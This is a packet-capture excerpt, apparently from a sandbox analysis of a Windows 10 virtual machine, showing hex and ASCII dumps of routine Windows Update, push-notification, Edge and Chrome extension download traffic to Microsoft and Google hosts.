2024-07-26 11:48:31 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-07-26 11:48:31 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	58976	13.95.31.18	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:48:46 UTC	142	OUT	GET /clientwebservice/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: fe3cr.delivery.mp.microsoft.com
2024-07-26 11:48:46 UTC	234	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff Date: Fri, 26 Jul 2024 11:48:46 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	58977	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:48:47 UTC	124	OUT	GET /sls/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: slscr.update.microsoft.com
2024-07-26 11:48:47 UTC	318	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 MS-CV: 7BxwdWDIWE2COXlt.0 MS-RequestId: 9f0d1d3b-aa6e-487a-882e-d77cf0e022f8 MS-CorrelationId: fbc879d3-9572-4ab3-ba0d-278b49657734 X-Content-Type-Options: nosniff Date: Fri, 26 Jul 2024 11:48:47 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	58978	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:48:49 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 30 41 59 50 61 69 6c 43 56 6b 36 72 56 79 70 30 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 61 39 65 35 66 62 33 66 65 36 33 30 33 39 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 0AYPailCVk6rVyp0.1Context: 5a9e5fb3fe630390
2024-07-26 11:48:49 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 11:48:49 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 30 41 59 50 61 69 6c 43 56 6b 36 72 56 79 70 30 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 61 39 65 35 66 62 33 66 65 36 33 30 33 39 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 67 7a 55 54 5a 78 4d 32 49 32 4e 36 51 78 64 6e 43 38 44 54 41 4f 73 43 66 4a 4c 35 63 6a 76 76 57 57 63 4c 58 4b 4a 67 35 44 36 79 75 67 66 70 79 2f 58 67 55 63 77 66 35 6b 39 57 38 6a 54 47 45 49 71 33 35 44 63 66 33 56 45 51 4f 4d 67 74 42 74 37 39 53 64 33 68 2b 42 73 41 4e 64 4a 4c 6e 59 57 64 59 46 6f 6a 71 4b 68 44 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: 0AYPailCVk6rVyp0.2Context: 5a9e5fb3fe630390<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUgzUTZxM2I2N6QxdnC8DTAOsCfJL5cjvvWWcLXKJg5D6yugfpy/XgUcwf5k9W8jTGEIq35Dcf3VEQOMgtBt79Sd3h+BsANdJLnYWdYFojqKhD
2024-07-26 11:48:49 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 30 41 59 50 61 69 6c 43 56 6b 36 72 56 79 70 30 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 61 39 65 35 66 62 33 66 65 36 33 30 33 39 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 0AYPailCVk6rVyp0.3Context: 5a9e5fb3fe630390<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 11:48:49 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 11:48:49 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 42 33 56 4a 61 4a 71 2f 70 30 71 4d 48 76 61 37 67 2f 6f 53 78 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: B3VJaJq/p0qMHva7g/oSxA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	58979	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:48:49 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k+CFrVfwfDyLu+h&MD=zZCe4Eut HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-26 11:48:49 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 5b95cf30-b714-47a5-80e6-83d06e3e15c1 MS-RequestId: 3b02e719-4276-4b18-8081-76e80e52e7d5 MS-CV: jv5xg3NP2UiTb8Fn.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Jul 2024 11:48:49 GMT Connection: close Content-Length: 24490
2024-07-26 11:48:49 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-07-26 11:48:49 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	58980	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:48:50 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k+CFrVfwfDyLu+h&MD=zZCe4Eut HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-26 11:48:51 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: fa2df0b7-8cc5-453d-bde3-de69df35fa39 MS-RequestId: efe5c3a2-604d-415d-b112-0facdca17b16 MS-CV: uCxbt6f/lkapB6qH.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Jul 2024 11:48:50 GMT Connection: close Content-Length: 30005
2024-07-26 11:48:51 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-07-26 11:48:51 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	58996	94.245.104.56	443	5408	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:49:14 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 11:49:15 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Fri, 26 Jul 2024 11:49:15 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=9c0898072d9c97e0efc2ea98598e4cf65234012d8aadb9d7af8c391c4e09d93c;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=9c0898072d9c97e0efc2ea98598e4cf65234012d8aadb9d7af8c391c4e09d93c;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	59007	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:49:15 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4b 30 4c 2f 56 74 34 7a 64 6b 43 4a 4a 6f 6d 34 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 66 38 33 62 37 65 32 33 31 30 63 33 62 66 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: K0L/Vt4zdkCJJom4.1Context: 2f83b7e2310c3bf1
2024-07-26 11:49:15 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 11:49:15 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 4b 30 4c 2f 56 74 34 7a 64 6b 43 4a 4a 6f 6d 34 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 66 38 33 62 37 65 32 33 31 30 63 33 62 66 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 67 7a 55 54 5a 78 4d 32 49 32 4e 36 51 78 64 6e 43 38 44 54 41 4f 73 43 66 4a 4c 35 63 6a 76 76 57 57 63 4c 58 4b 4a 67 35 44 36 79 75 67 66 70 79 2f 58 67 55 63 77 66 35 6b 39 57 38 6a 54 47 45 49 71 33 35 44 63 66 33 56 45 51 4f 4d 67 74 42 74 37 39 53 64 33 68 2b 42 73 41 4e 64 4a 4c 6e 59 57 64 59 46 6f 6a 71 4b 68 44 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: K0L/Vt4zdkCJJom4.2Context: 2f83b7e2310c3bf1<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUgzUTZxM2I2N6QxdnC8DTAOsCfJL5cjvvWWcLXKJg5D6yugfpy/XgUcwf5k9W8jTGEIq35Dcf3VEQOMgtBt79Sd3h+BsANdJLnYWdYFojqKhD
2024-07-26 11:49:15 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4b 30 4c 2f 56 74 34 7a 64 6b 43 4a 4a 6f 6d 34 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 66 38 33 62 37 65 32 33 31 30 63 33 62 66 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: K0L/Vt4zdkCJJom4.3Context: 2f83b7e2310c3bf1<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 11:49:15 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 11:49:15 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 64 72 39 50 35 34 37 45 72 30 65 53 34 79 5a 76 5a 48 33 4b 64 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: dr9P547Er0eS4yZvZH3Kdg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	59015	142.250.185.129	443	5408	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:49:17 UTC	594	OUT	GET /crx/blobs/AVsOOGgL4EVsLTMzZa-C0yXaDVW5z6pCjWzx7YKwHb9PR6v117H2hbsZgQ2S3VrQetSMoK86b9iY-_-8nYIxIJD4BasJl9SD8IoqvPIbEK9wBlfqTusC6rL6yTYDfaVSn9sAxlKa5bRpPaxsFjcmEK7Nec5bVL7NZYhc/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 11:49:17 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135751 X-GUploader-UploadID: AHxI1nMNrFdTM4iw24zrPkyMebLFa2yglWBUFt2GhljOGG0hrBC9Em6jM1Q7_I78aRIoTODaf0U X-Goog-Hash: crc32c=IDdmTg== Server: UploadServer Date: Thu, 25 Jul 2024 15:56:45 GMT Expires: Fri, 25 Jul 2025 15:56:45 GMT Cache-Control: public, max-age=31536000 Age: 71552 Last-Modified: Tue, 23 Jul 2024 15:56:28 GMT ETag: 1d368626_ddaec042_86665b6c_28d780a0_b2065016 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-26 11:49:17 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e8 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-07-26 11:49:17 UTC	1390	IN	Data Raw: cb 30 5e ae fd 8f bf fc 18 3f ab aa ce 6f f5 9f 86 ea f3 4f e7 8b aa 7e fc f9 c7 ed f2 de 57 f2 ef e5 b5 1f ab 7e fc f1 97 7f fc 18 f2 a7 ba e6 52 7f be 7a 86 4d 61 da 86 e0 b6 91 9a 75 5d 9a b5 2a 9f 87 2d b7 6e 97 ac 9b be 32 73 3c 97 a6 da 8a e4 b0 45 fb 9f 36 ba 3c 2e c2 57 bd 48 91 71 68 ae 17 fd f9 3a 6a a8 79 f8 fe f7 4e dd 44 1a 5d 4e 6a fc f5 d0 bb b5 f4 df 2f a7 cb 61 8a 9a f7 7b e9 db fd f7 67 ca ce f9 92 d0 b9 66 29 ba 7e 7f 5f 98 88 8b a7 31 71 fe fe 4c da 11 23 06 47 da 8d 8d f0 51 97 77 14 c8 99 1d 4a 10 22 04 c4 8e 74 e1 33 0f c2 4d e5 0b 5b 3c 43 e7 18 dc 2e a5 0f 8d 7c 77 d8 1e 94 73 2b 4c 54 17 3e 9b 8f 26 ec 8e 26 50 a5 85 6a 61 